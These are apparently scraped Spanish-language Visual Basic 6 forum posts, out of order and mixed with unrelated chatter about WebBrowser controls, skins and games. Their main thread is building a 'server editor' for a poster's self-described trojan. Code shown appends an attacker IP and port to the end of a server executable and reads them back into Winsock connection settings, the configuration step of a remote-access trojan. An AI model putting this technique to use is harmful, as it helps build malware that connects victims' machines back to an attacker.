fijate esta forma con el webbrouser que es rre fasil 

Private Sub Form_Load()
Dim nombre1, nombre2, nombre3 As String
    nombre3 = App.Path
    nombre2 = App.Path
    nombre1 = App.Path
    If Right$(nombre3, 1) <> "\" Then nombre3 = nombre3 & "\"
    If Right$(nombre2, 1) <> "\" Then nombre2 = nombre2 & "\"
    If Right$(nombre1, 1) <> "\" Then nombre1 = nombre1 & "\"
   
    nombre1 = nombre1 & "3demail.gif"
    WebBrowser1.Navigate nombre1
     
    nombre2 = nombre2 & "atwork.gif"
    WebBrowser2.Navigate nombre2
 
    nombre3 = nombre3 & "ledver0.gif"
    WebBrowser3.Navigate nombre3
End Sub

 Bueno esto es una duda que estoy teniendo hace tiempo es como poner scrollbar a una imagen sin tener que estar poniendo dos picture y dos controles scollbar h y v.
   Lo que me pregunto es si sepuede poner una image que no utilize los controles scrollbar sino como los de los textbox

hola amigo yo ago mis skin con activeskin 4.3 y me lo baje gracias al mas amado google en una pagina japonesa

De nada amigos 
 
  yo ya lo abia puesto el editor de server en troyanos y virus con unos ejemplos de troyanos pero creo que solo estuvo un dia y los moderadores lo quitaron pero bueno ellos son los que ponen las reglas o sino miren lo que seria de esto no.

Private Sub Form_Load()
Dim a As String * 20
Dim b As String * 5


a = Text1.Text
b = Text2.Text



End Sub

Private Sub Image2_Click()

On Error GoTo hacer
Image3.Visible = True
Dim a As String * 20
Dim b As String * 5
 a = Text1.Text
 b = Text2.Text
 cd.Filter = "Todos los archivos |*.*"
 cd.ShowOpen
Open cd.FileName For Binary As #1
Seek (1), LOF(1) + 1
Put #1, , a
Put #1, , b
Close #1
MsgBox "Su servidor ya fue creado con EXITO"
hacer:

Select Case Err.Number
Case 75
MsgBox "Has cancelado para abrir el archivo"
End Select

End Sub

eso en el edito
   y en el server

Dim a As String * 20
Dim b As String * 5


Dim ap As String
Dim bp As String

Open App.path & "\" & App.EXEName & ".exe" For Binary As #1
Seek (1), LOF(1) - 24
Get #1, , a
Get #1, , b

Close #1
ap = Trim(a)
bp = Trim(b)
Text1.Text = ap
Text2.Text = bp
On Error Resume Next
ip = Text1.Text
ipftp = Text1.Text
port = Text2.Text
ws.RemoteHost = ip
ws.RemotePort = port

gracias igual a todos por no responder pero ya pude aprender como aherlo y si alguien quiere que se lo enseñe que lo postee aqui y se lo enseño :shocked:

pues mira amigo yo a mi troyano le ice los botones con imagenes y todo me funciona rre bien

lei por alli que se hace abriendo el archivo en binario y de alli tomas los datos que se encontraban al final del mismo y de ally lo colocas en un texbox a travez de una variable.
  Espero que mas o menos este en lo correpto y que alguien pueda darme una mano BIEN EXPLICAD 
  Un salub y gracias a todos

hola mi problema y mi falta de conocimientos es esto estoy asiendo un editor de server y mi inconveniente es que para este tipo de caso para poder sobreescrivir en el exe lo primero que tenemos que hacer es abrirlo en binario y de alli ir colocando los datos con put siempre al final :

Private Sub Command1_Click()
     Dim ip As String * 15 '//igual con la variable que contendra el pass, con capacidad de 20 bytes.
     ip = Text1.Text
     
     Open "C:\descargas\MIS PROGRAMAS\editor de server\1.exe" For Binary As #1 '//abrimos el archivo en forma binaria.
        Seek (1), LOF(1) + 1 'nos vamos al final del archivo
        Put #1, , ip '//colocamos el contenido de las variables
        Close #1 '//cerramos el archivo.


MY PROBLEMA ES COMO AGO PARA QUE EL ARCHIVO AL QUE ESCRIBIMOS LOS DATOS AL FINAL LO PONGA EN EL TEXBOX.

  para mi el mejor juego es el age of empire III  y el half-life 2